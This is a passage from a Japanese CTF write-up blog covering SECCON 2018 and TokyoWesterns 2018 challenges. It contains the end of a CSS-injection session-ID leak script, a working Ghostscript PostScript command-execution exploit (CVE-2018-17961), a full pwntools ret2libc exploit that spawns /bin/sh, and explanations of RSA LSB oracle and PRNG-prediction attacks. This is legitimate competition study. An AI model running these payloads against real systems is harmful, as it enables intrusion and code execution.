    return send_msg_at_local(session, get_injection_css(known_tails))


if __name__ == '__main__':
    known_sid = ''

    session = requests.Session()
    login(session)
    login_at_local(session)

    for i in range(22 - len(known_sid)):
        search_session_id(session, known_sid)
        leaked = raw_input("> ")
        known_sid = leaked + known_sid

    print(known_sid)

webhookinboxを眺めながらヒットした文字を入力すれば最終的なセッションIDを出力してくれる。
30秒の待機はスクリーンショットが30秒以上の間隔を開けないと使えなかったから。

Exploit

画像のアップロードでどうすればいいのかは問題の名前から察しがついた。
TWCTFでも出てた気がするけど、ghostscript脆弱性を使えばいい、PoCのコードがそのまま動く。
以下のコードを脆弱性のあるghostscriptが読み込めばecho testが実行されることになる。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%echo test) currentdevice putdeviceprops

このコードを適当な名前(exploit.epsとか)で保存して画像としてアップロードしてやると、コマンドの実行結果が返ってくる。
あとは問題のリンクの最初にあったディレクトリ以下をlsしてフラグを表示してやればいい。

この脆弱性についてはCVE-2018-17961とかで調べたり、前に調べたのがhttps://hiziriai.hatenablog.com/entry/2018/09/06/161559にある。合ってるかは知らないけどな。

SECCON 2018 Online CTF Writeup

SECCON 2018 Online CTF writeup

解けたのはClassic Pwn, Runme, Unzipの3問。
何故かSpecial Instructionが解けてるのに正解が出ず...
そのままずるずると終わりました。

Classic Pwn

Pwn

まさに古典的Pwnといった感じの問題、classicという実行ファイルとlibcが降ってくる。

プログラムの動作は、getsで入力を受け取ってローカルバッファに格納して終了するというだけ。

4006a9:  55                      push   rbp
4006aa: 48 89 e5                mov    rbp,rsp
4006ad: 48 83 ec 40             sub    rsp,0x40
4006b1: bf 74 07 40 00          mov    edi,0x400774
4006b6: e8 65 fe ff ff          call   400520 <puts@plt>
4006bb: bf 8e 07 40 00          mov    edi,0x40078e
4006c0: b8 00 00 00 00          mov    eax,0x0
4006c5: e8 76 fe ff ff          call   400540 <printf@plt>
4006ca: 48 8d 45 c0             lea    rax,[rbp-0x40]
4006ce: 48 89 c7                mov    rdi,rax
4006d1: e8 8a fe ff ff          call   400560 <gets@plt>
4006d6: bf 9f 07 40 00          mov    edi,0x40079f
4006db: e8 40 fe ff ff          call   400520 <puts@plt>
4006e0: b8 00 00 00 00          mov    eax,0x0
4006e5: c9                      leave  
4006e6: c3                      ret    

getsは際限なく入力を受け取るのでオーバーフローする。
Stack Protectionがないのでmainのあとのリターンアドレスを書き換えることができ、制御を奪うことができる。
ただしx64なのでスタックに引数は積めない、ROPが必要になる。

libcもあるので、libcのベースアドレスをリークさせてsystemを呼び出すことにした。

putsにGOT領域にある関数のアドレスを引数として渡すことで、その関数のアドレスを出力させる。
関数のアドレスからその関数のオフセットを引くことで、libcのベースアドレスを計算できる。
そこで、libcのベースアドレスからsystemとlibc内の/bin/shのアドレスを取得する。
オフセットはreadelfstringsで取得できる。
それかpwntoolsELFとかを使っても取得できるはず。

$ readelf --sym libc # putsのオフセットは0x6f690
...
   404: 000000000006f690   456 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.2.5
...
$ strings -t x libc | grep /bin/sh # /bin/shのオフセットは0x18cd57
 18cd57 /bin/sh

最後にsystemを呼び出すため、もう一度プログラムの制御を奪う必要がある。 main関数をもう一度呼び出すことで再び制御を奪えるようにした。

まとめると

  1. BOFputsでGOT領域にある関数のアドレスを出力し、mainの先頭に戻る
  2. 出力されたアドレスからsystem/bin/shのアドレスを計算
  3. もう一度BOFをして、今度は計算されたsystem/bin/shを引数にして実行する
  4. シェルゲット

という感じ。

スクリプト

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './classic'
libc = './libc'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
    return remote('classic.pwn.seccon.jp', 17354)
    else:
        return process([exe] + argv, *a, **kw)

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

# libcでのそれぞれの関数へのオフセット
system_offset = 0x0000000000045390
puts_offset = 0x000000000006f690
binsh_offset = 0x18cd57

elf = ELF(exe)
# rop gadget
pop_rdi = 0x00400753  # pop rdi; ret

main = 0x004006a9 # 2回脆弱性を攻撃するためにmain関数のアドレス、ret2vul

# オーバーフローするまでのパディング
payload = 'A' * 0x40  # padding
# push rbpでスタックに積まれたrbpを上書きする部分
payload += 'B' * 8  # prev_rbp

# puts(puts@got)でGOT領域に格納されたputsのアドレスを出力し、main関数をもう一度実行する
payload += p64(pop_rdi)          # rdiに引数としてputs@gotを設定
payload += p64(elf.got['puts'])  # popされる
payload += p64(elf.plt['puts'])  # puts(puts@got)、putsのアドレスを出力
payload += p64(main)             # mainをもう一度実行する

io.clean()             # 余計な出力を削除
io.sendline(payload)
io.recvuntil("Have a nice pwn!!\n") # 余計な部分まで読み出して削除

# putsのアドレスからlibcのベースアドレスを計算
puts_addr = io.recvline()[0:6]       # GOT領域のputsのアドレス、先頭2バイトが0なので6バイトまで
puts_addr = u64(puts_addr + '\0\0')  # 足りない2バイトの0を補って数値に変換
libc_base = puts_addr - puts_offset  # putsのオフセットを引くことでlibcのベースアドレスが計算できる

# libcのベースアドレスにオフセットを足して、それぞれのアドレスを計算
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

# デバッグのためログとして出力、pwndbgならgotコマンドでgotのアドレスが表示できるよ
log.info("puts @ got: {}".format(hex(puts_addr)))
log.info('libc base: {}'.format(hex(libc_base)))

# mainがもう一度実行されているので、こんどはsystemを呼び出すようにオーバーフローさせる
payload = 'A' * 0x40  # padding
payload += 'B' * 8  # prev_rbp

# system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(binsh_addr)  # /bin/shをrdiに設定し、引数とする
payload += p64(system_addr) # やったぜ

io.sendline(payload)

io.interactive()

Runme

WinのPEが降ってくる。
中身はコマンドライン引数を一文字ずつ比較する関数を次々と呼び出しているだけなので、比較している文字を順番通りに並べればフラグになる。

Unzip

解凍するとzipファイルと解凍に使ったスクリプトが出てくる。

echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt

perl -e "print time()"がパスワードらしい。 timeUNIX時間を返すのと、flag.zipの作成日からおおよそ"1540566600"の前後だということが分かった。 あとは前後60秒くらいをブルートフォースすればいい。

手動でやるのは面倒だったのでPythonにやらせた。 面倒なことは

import zipfile

unixtime = 1540566600


zipf = zipfile.ZipFile('./flag.zip')
for i in range(70):
    try:
        zipf.extractall(pwd=str(unixtime+i))
    except RuntimeError as e:
        continue

解凍するとflagが出てくる。

Special Instruction

マイナーなアーキテクチャのバイナリが降ってくる。
マルチアーキテクチャ対応のreadelfとかだとMoxieというアーキテクチャだと教えてくれる。
大熱血本のHPから実行環境付きのOVAを取得することもできる。

しかし、このバイナリはset_random_seedget_random_valueでオリジナルの命令を使うようになっているためそのままでは実行できない。

バイナリの挙動は、Cのソースコードにするとこんな感じである。

#include <stdio.h>

unsigned int seed = 0;
char flag[] = {0x6d, 0x72, 0xc3, 0xe2, 0xcf, 0x95, 0x54, 0x9d,
           0xb6, 0xac, 0x03, 0x84, 0xc3, 0xc2, 0x35, 0x93,
           0xc3, 0xd7, 0x7c, 0xe2, 0xdd, 0xd4, 0xac, 0x5e,
           0x99, 0xc9, 0xa5, 0x34, 0xde, 0x06, 0x4e, 0x00};
char randval[] = {0x3d, 0x05, 0xdc, 0x31, 0xd1, 0x8a, 0xaf, 0x29,
          0x96, 0xfa, 0xcb, 0x1b, 0x01, 0xec, 0xe2, 0xf7,
          0x15, 0x70, 0x6c, 0xf4, 0x7e, 0xa1, 0x9e, 0x0e,
          0x01, 0xf9, 0xc2, 0x4c, 0xba, 0xa0, 0xa1, 0x08,
          0x70, 0x24, 0x85, 0x8a, 0x4d, 0x2d, 0x3c, 0x02,
          0xfc, 0x6f, 0x20, 0xf0, 0xc7, 0xad, 0x2f, 0x97,
          0x2b, 0xcc, 0xa3, 0x34, 0x23, 0x53, 0xc9, 0xb7,
          0x0c, 0x10, 0x6c, 0x0e, 0xfa, 0xf9, 0xa1, 0x9a,};

void set_random_seed(unsigned int num) {
  seed = num;
}

unsigned int get_random_value() {
  seed ^= seed << 13;
  seed ^= seed >> 17;
  seed ^= seed << 5;
    
  return seed;
}

char* decode(char* flag, char* randval) {
  if (flag[0] != 0) {
    char* randval_ptr = randval; // r8
    char* flag_ptr = flag; // r7

    while(1) {
      unsigned char r6 = *randval_ptr;
      r6 ^= get_random_value();
      r6 ^= *flag_ptr;
      *flag_ptr = r6;
      
      flag_ptr++;
      randval_ptr++;
      
      if (*flag_ptr == 0) {
        break;
      }
    }
  }

  return flag;
}

int main(int argc, char** argv){
  // ヒントの出力

  set_random_seed(0x92d68ca2);

  printf("%s\n", decode(flag, randval));

  return 0;
}

decodemainは、クロスコンパイルした結果がバイナリとほぼ一致していたので合っているはず。
最初の方に出力命令があり、以下のヒントを出力するようになっていた。

SETRSEED: (Opcode:0x16)
    RegA -> SEED
GETRAND: (Opcode:0x17)
    xorshift32(SEED) -> SEED
    SEED -> RegA

要はオリジナルの命令の挙動を説明しているんだと思う。
上記のCコードではこれも関数として補っている。
xorshift32は疑似乱数生成アルゴリズムの一種で、高速で実装が簡単な割りに周期がそこそこ長くて優秀らしい。
wikiに載っている実装をそのまま持ってきた(uint32_tはクロスコンパイル環境で使えなかったのでunsigned intに変えている)。

しかし、何故かフラグとして正常にデコードできなかった。
xorshift32はあちこちにあるサンプル実装そのままなのでおそらく合ってる、set_random_seedはまずこれ以外ない。
となるとget_random_valueが違うということになるけど、ヒントそのままの挙動のはず。
というわけで投げた。

人のwriteup(https://hikalium.hatenablog.jp/entry/2018/10/28/164812)を見てみた。
パラメータは適当らしい、ざけんな。
xorshift32の正解のパラメータは13, 17, 15だそうなので試したら解けた。

CTFの問題にはどんな場合でもブルートフォース要素を含めるなとは言わないが、アルゴリズムの名前だけを知らせてそのパラメータを総当たりさせることが本当にその問題を面白くするのかどうか考えてからそうして欲しい。 ヒントにたった3つの整数を付け足すだけで問題の難易度を下げることなく参加者のストレスを低減できる。

まあ論文読めば解けるのでこれは論文を読めという天啓かもしれない。

感想

Special Instructionで詰まって投げてしまってこの4つ以外はほとんど触れていない。
限られた問題だけで感想を言うと、正直微妙だった。
どうでもいいような問題ばかりであまり学べることがなく、参加してもしなくても同じという印象を抱いてしまった。
まあ偶然ハズレを引いたんだと気持ちを入れ替えて、他の問題のWriteup見て反省しよう。
大熱血本も読まないとなあ。

TokyoWesterns CTF 2018 Revolutional Secure Angou 復習 ctf crypto

Revolutional Secure Angou 復習

https://ctftime.org/writeup/10865 Writeup見て復習。

RSA問題、珍しくRubyで書かれている。

require 'openssl'

e = 65537
while true
  p = OpenSSL::BN.generate_prime(1024, false)
  q = OpenSSL::BN.new(e).mod_inverse(p)
  next unless q.prime?
  key = OpenSSL::PKey::RSA.new
  key.set_key(p.to_i * q.to_i, e, nil)
  File.write('publickey.pem', key.to_pem)
  File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag')))
  break
end

僕はまったく分からなかったが、qの生成方法が普通と違うので不備があることに気付けるらしい。

通常のRSAの手順は以下のようになる。

  1. ランダムに2つの素数を生成、pq
  2. p-1q-1に対して素な整数e, public exponentを選ぶ、たいてい0x10001, 65537になっている。
  3. d, private exponentを計算する。これはd = e^{-1}\ mod\ (p-1)(q-1)で計算される。
  4. n = pqを計算し、(n, e)を公開鍵、d秘密鍵にする。

普通はqもランダムに生成するが、このスクリプトではq = OpenSSL::BN.new(e).mod_inverse(p)となっている。
つまり、q = e^{-1}\ mod\ pで生成されている。
この式を変形するとqe = 1\ mod\ pとなり、qe = pk + 1と表せる(kは任意の整数)。
ここで、両辺にpをかける。
すると、pqe = kp^2 + pとなる。
n = pqなので、pqeは知ることができる。
つまり、kp^2 + p - ne = 0という2次方程式になる。
これによりpを求めることができる。

pが分かればdを計算できる、これで暗号化されたフラグを復号できる。

TokyoWesterns CTF 2018 mixed-cipher 復習

Writeupとか見ながら復習したので、その解説。 参考にしたWriteupはhttps://github.com/GabiTulba/Tokyo-Westerns-2018-Mixed-Cipher-Crypto-Write-up/blob/master/README.mdのやつ。

問題自体の解説はしないでその中で使われていた手法、特にLSB Decryption Oracle Attackの解説をメインに書く。

mixed-cipher

問題で渡されるスクリプト

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes

import random
import signal
import os
import sys

sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)
privkey = RSA.generate(1024)
pubkey = privkey.publickey()
flag = open('./flag').read().strip()
aeskey = os.urandom(16)
BLOCK_SIZE = 16

def pad(s):
    n = 16 - len(s)%16
    return s + chr(n)*n

def unpad(s):
    n = ord(s[-1])
    return s[:-n]

def aes_encrypt(s):
    iv = long_to_bytes(random.getrandbits(BLOCK_SIZE*8), 16)
    aes = AES.new(aeskey, AES.MODE_CBC, iv)
    return iv + aes.encrypt(pad(s))

def aes_decrypt(s):
    iv = s[:BLOCK_SIZE]
    aes = AES.new(aeskey, AES.MODE_CBC, iv)
    return unpad(aes.decrypt(s[BLOCK_SIZE:]))

def bulldozer(s):
    s = bytearray(s)
    print('Bulldozer is coming!')
    for idx in range(len(s) - 1):
        s[idx] = '#'
    return str(s)

def encrypt():
    p = raw_input('input plain text: ').strip()
    print('RSA: {}'.format(pubkey.encrypt(p, 0)[0].encode('hex')))
    print('AES: {}'.format(aes_encrypt(p).encode('hex')))

def decrypt():
    c = raw_input('input hexencoded cipher text: ').strip().decode('hex')
    print('RSA: {}'.format(bulldozer(privkey.decrypt(c)).encode('hex')))

def print_flag():
    print('here is encrypted flag :)')
    p = flag
    print('another bulldozer is coming!')
    print(('#'*BLOCK_SIZE+aes_encrypt(p)[BLOCK_SIZE:]).encode('hex'))

def print_key():
    print('here is encrypted key :)')
    p = aeskey
    c = pubkey.encrypt(p, 0)[0]
    print(c.encode('hex'))

signal.alarm(300)
while True:
    print("""Welcome to mixed cipher :)
I heard bulldozer is on this channel, be careful!
1: encrypt
2: decrypt
3: get encrypted flag
4: get encrypted key""")
    n = int(raw_input())

    menu = {
        1: encrypt,
        2: decrypt,
        3: print_flag,
        4: print_key,
    }

    if n not in menu:
        print('bye :)')
        exit()
    menu[n]()

簡単に動作を説明すると、CBCモードのAESと1024bitのRSAを使って暗号化とかする感じ。 ただし、bulldozerが来て復号化したメッセージなどはほとんど取得できないようになっている。 おそらく、このbulldozerで復号化したメッセージの下位1バイトが取得できるところからLSB Decryption Oracle Attackを発想できるんだと思う。

解読手順 概略

Writeupで示されていた手順だと、だいたい以下のようになる。

  1. 暗号文と平文が入手できることとgcdを利用してNを入手 (2~4回の試行)
  2. Nを使って、暗号化されたASE Keyの下位1バイトが分かるので、RSA LSB oracle AttackでAES Keyを入手
  3. PythonのrandomモジュールのメルセンヌツイスターをクラックしてIVを入手
  4. 鍵とIVが分かるのでAESのフラグを復号する

print_keyによってRSAで暗号化されたAES Keyを手に入れ、decryptでそれを復号することができる。 ただし、bulldozerで下位1バイトしか分からないようにされてしまう。 ここでRSAに対する攻撃のひとつであるLSB Decryption Oracle Attackが使える。 この攻撃は任意の暗号文を復号した結果の下位1ビットが分かれば、元の平文を復元することができるというものである、詳しくは後で。 これを利用してAES Keyを復号できる。

これでprint_flagが解読できるかというとそうでもない。 print_flagでは先頭にあるIVがbulldozerで潰されるため、鍵があっても復号できないようになっている。 そのためこのIVを取得する必要があるが、一見すると手に入らなそうに思える。 しかし、疑似乱数を推測することでこれを突破することができる。 IVの生成に使っているPythonのrandomモジュールはメルセンヌツイスターというアルゴリズムで疑似乱数を生成しているが、モジュール内部の状態であるPRNGを取得できるために予測が可能になってしまう。 推測のためのツール、randcrackがある。 推測といっても何度か(Writeupでは156回)乱数を取得する必要がある。

これで、AESの鍵とIVが入手できたのでprint_flagによって出力されるAESで暗号化されたフラグを解読することができるようになった。

RSAの解読

LSB Decryption Oracle Attack

この攻撃は、任意の暗号文の平文の下位1ビットが分かれば平文を求めることができてしまうというものである。 だいたい以下の条件を満していれば使える。

  • 任意の暗号文を復号でき、その結果の下位1ビットが分かる
  • 公開鍵(N, e)が分かっている

この問題ではNも分かっていないので、その取得方法もこのあとで解説する。 ここではNは分かっているものとして話を進める。 eはPyCryptoのモジュールのデフォルト値0x10001が使われている。 普通RSAのeには0x10001が使われるので、分からなくてもこれを仮定して良い気はする。 eが極端に大きかったり小さかったりするとそれはそれで攻撃可能になりかねないので注意する必要がある。

求めたい平文をm、求めたい平文を暗号化した暗号文はc、公開鍵をNeとする。 まず2^ecを復号させる。 このとき、mcm^e = c\ mod\ Nであるため、2^ecでは(2m)^e = 2^ec\ mod\ Nが成立する。 よって、2^ecを復号すると2m\ mod\ Nが得られる。

2m\ mod\ Nの値をrとすると、2m = kN + rと表すことができる(kは整数)。 また、m \lt Nであり(mNより大きくなるとm\ mod\ Nが一意に定まらず解読不可能になるので、普通はそうならないようにする)、r \lt Nであるため、0 \leq kであるはず。
// TODO: ここの解釈は微妙、もう少しちゃんとした証明を探す。
要は、2m \lt 2Nなので、k \geq 2のときは2m \lt kN + rとなるというだけである。 ありえるのはk = 0, 1だけとなる。

ここで、2mの偶奇(下位1ビット)に着目する。 kN + rNは、素数素数の積なので奇数のはず(偶数なら素数2が選ばれているのでNから秘密鍵を求められる)。 rの偶奇は前提条件により復号した結果から分かる。 また、2mは偶数であるので、rによりkの偶奇が分かることになる。 もしr、つまり復号した結果が奇数(下位ビット1)なら、kも奇数である。 k = 0, 1なのでk = 1ということになる。 もしrが偶数(下位ビット0)なら、k = 0となる。

k = 0のとき、2m = rなので2m \leq Nということになる。
k = 1のとき、2m = N + rなので2m \gt Nということになる。
// FIXME: 等号が間違ってる気がする

結果を簡潔にまとめると、2^ecの復号した結果の下位ビットが

  • 0なら
    • 0 \leq m \leq \frac{N}{2}
  • 1なら
    • \frac{N}{2} \lt m

となる。 つまり、下位1ビットから平文mの範囲をNの半分に限定することができることになる。 4^ecも同じようにさらに半分にでき、8^ecでさらに半分にできる。 これをせいぜい鍵長のビット数回繰り返せば平文を定めることができる。

4^ecのときについて

同じような議論で、k = 0, 1, 2, 3に限定できる。 2^ecのときの範囲と合わせて考えて、さらに半分にすることができる。

Nの特定

LSB Decryption Oracle Attackで、任意の暗号文を解読した結果の下位1ビットを知ることができると平文全体を求めることができると分かった。 しかし、この問題では肝心のNが分からないようになっている。 そこでまずNを特定する必要がある。

任意の平文の暗号文を入手できると十分な確度で推測することができる。 これにはgcdを利用する。

暗号化処理m^e = c\ mod\ Nm^e = kN + cと表す。 ある平文m_1, m_2, m_3, ...を用意し、暗号文c_1, c_2, c_3, ...を取得する。 暗号化処理により、m_i^e = k_iN + c_i, (i = 1, 2, 3, ...)となる。 k_iN = m_i^e - c_iによりk_iNが取得できる。

このとき、k_iN同士のgcdを計算することでNが取得できる。 k_iの値によっては失敗しそうだが、Nのビット長を利用することで確度を上げられる。 だいたい2つから4つくらいのgcdで大丈夫らしい。

AESの解読

AESの概略

RSAよりは浸透してないだろうと思うので、簡単に説明。 共通鍵暗号なので、暗号化と復号に使う鍵は同じものになる。 簡単に言えば、鍵から乱数列を作ってその乱数列を使い1ブロックずつを暗号化していく。

モードというものがあり、暗号化のされ方や強度に影響が出る。 この問題で使われているのはCBCモードというもので、前に暗号化されたブロックのデータが次のブロックの暗号化に使われるモードになる。 これにより、一部だけ解読したり改ざんしたりしにくくなる。 前のブロックを使うため、一番最初のブロックだけは初期化ベクトルという特別なブロックを前のブロックとして使う必要がある。 復号するためにはこの初期化ベクトルも必要になる。 この初期化ベクトルは暗号文と同時に送信される(そのはずだけど微妙に憶えてない)。

解読方法

RSAの解読することにより、print_keyからAESの鍵を取得することができた。 本来なら鍵され分かれば共通鍵暗号のAESは復号できるはずだが、IV(初期化ベクトル)をbulldozerに潰されてしまっているため復号できない。 そのため、IVをどうにかして取得する必要がある。

問題の処理ではIVをrandom.getrandbits(BLOCK_SIZE*8)で生成している。 このrandomでは、疑似乱数の生成にメルセンヌツイスターというアルゴリズムを使用している。 乱数の実装はたいていこのメルセンヌツイスターになってるはず、多分。 モジュールなので当然内部の初期状態などは分かっているため、これを解析して次の乱数を予想できるらしい。 randcrackでそれが可能、方法についても記載されているがまだ調べてない。

ともかく、これにより鍵とIVが手に入ったためprint_flagを解読することができ、フラグをゲットできる。

スクリプト

writeupの方のコードは汚なくて読みにくいので、できればあとで書きたい。